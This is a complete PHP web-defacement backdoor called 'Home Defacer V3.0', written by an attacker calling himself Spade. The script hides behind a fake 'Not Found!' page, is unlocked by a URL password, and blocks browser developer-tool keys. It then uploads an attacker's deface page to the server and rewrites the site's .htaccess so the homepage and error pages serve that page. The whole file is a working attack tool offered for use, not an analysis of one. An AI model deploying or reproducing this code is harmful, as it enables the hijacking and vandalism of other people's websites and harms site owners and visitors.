Home Defacer V3.0

<?
    //Respect Coders
    //Leeching My Script wont make you a real Coders ~Mauritania Attacker
    if(!isset($_GET['spade'])){
        echo "<h1>Not Found!</h1>";
    }else{
        $spade = $_GET['spade'];
        $pass = "azazel"; //<====Change this if you want :)) Usage:: ?spade=*the password you set here :))
        if($spade == ""){ sleep(1); die('<meta http-equiv="refresh" content="0; URL=https://goo.gl/6o6XE0">');}
        if($spade != $pass){ sleep(1); die('<meta http-equiv="refresh" content="0; URL=https://goo.gl/6o6XE0">');}else{
            $file = basename(__FILE__, '.php');
            echo "<script>
            document.onkeypress = function (event) { event = (event || window.event);
        if (event.keyCode == 123) { return false; }
        if((event.keyCode == 16) || (event.keyCode == 17) || (event.keyCode == 73)){ return false; } }
            document.onkeydown = function (event) { event = (event || window.event);
        if (event.keyCode == 123) { return false; }
        if((event.keyCode == 16) || (event.keyCode == 17) || (event.keyCode == 73)){ return false; } }
            document.onkeyup = function (event) { event = (event || window.event);
        if (event.keyCode == 123) { return false; }
        if((event.keyCode == 16) || (event.keyCode == 17) || (event.keyCode == 73)){ return false; } }
            </script>
            <center><h1>HOME DEFACE V3.0</h1><br><h2>Coded by Spade</h2><br><i>I Created this because many script kiddies nowadays cant backup a single index.php file</i>
            <form action='".$file.".php?spade=".$pass."' method=post enctype='multipart/form-data'>
                Navigate to Main Directory: #~>
                    <input type='text' name='dir' value='".getcwd()."'><br>
                Put your Deface Page Here: #~>
                    <input type='file' name='file'><br />
                    <input name='_upl' type='submit' id='_upl' value='Home Deface'/>
            </form>";
                if(isset($_POST['dir']) && (!empty($_POST['dir']))){
                    $dir = $_POST['dir'];
                    sleep(2);
                    echo "<font color=blue>Checking if [{$dir}] is Directory!</font><br>";
                    if(!is_dir($dir)){
                        die('<font color=red>[{$dir}] is not Directory!</font>');
                        exit;
                    }else{
                        echo "<font color=black>[{$dir}] is Directory!</font><br><font color=blue>Checking if Dir[{$dir}] is Writable!</font><br>";
                        sleep(1);
                        if(!is_writable($dir)){
                            die('<font color=red>[{$dir}] is not Writable!</font>');
                            exit;
                        }else{
                            echo "<font color=black>[{$dir}] is Writable!</font><br>";
                                global $dir;
                                if($directory = opendir($dir)){
                                    if(readdir($directory)){
                                        $temp = explode(".",$_FILES["file"]["name"]);
                                        $newfile = "spade.".end($temp);
                                        if(@copy($_FILES["file"]["tmp_name"], $dir.$newfile)){
                                            echo "<font color=black>File Uploaded!</font><br><font color=blue>Checking if Target File Exists!</font><br>";
                                            $targetfile = ".htaccess";
                                            if(!file_exists($dir.$targetfile)){
                                                echo "<font color=red>Target File not Found!</font><br><font color=black>Creating that File :)</font><br>";
                                                $htaccess = "####SPADE WAS HERE####\nDirectoryIndex {$newfile}\nErrorDocument 404 /{$newfile}";
                                                $fopen = fopen($dir.".htaccess","w");
                                                $fwrite = fwrite($fopen, $htaccess);
                                                if(!$fwrite){ echo "<font color=red>Cant Create Target File in {$dir}</font><br>";}else{
                                                echo "<font color=black>Target File Created in {$dir}</font><br><font color=black><a href='http://".$_SERVER['SERVER_NAME']."/' target='_blank'>>>Check Homepage<<</a></font>";
                                                }
                                                fclose($fopen);
                                            }else{
                                                echo "<font color=black>Target File Found!</font><br>";
                                                $htaccess = "####SPADE WAS HERE####\nDirectoryIndex {$newfile}\nErrorDocument 404 /{$newfile}";
                                                if(@is_file($dir.$targetfile)&&@is_writable($dir.$targetfile)){ $put = @file_put_contents($dir.$targetfile, $htaccess."\n".@file_get_contents($dir.$targetfile)); if($put){ echo "<font color=black><a href='http://".$_SERVER['SERVER_NAME']."/' target='_blank'>>>Check Homepage<<</a></font>"; }else{ echo "<font color=red>An Error Occured!</font>"; }}
                                            }//if htaccess exists
                                        }//if file uploaded
                                    }//readdir
                                }//opendir
                        }// if directory is writable
                    }// if input is dir
                }
            echo "</center>";
        }//Spade == to its password
    }//if ?spade Not Found
?>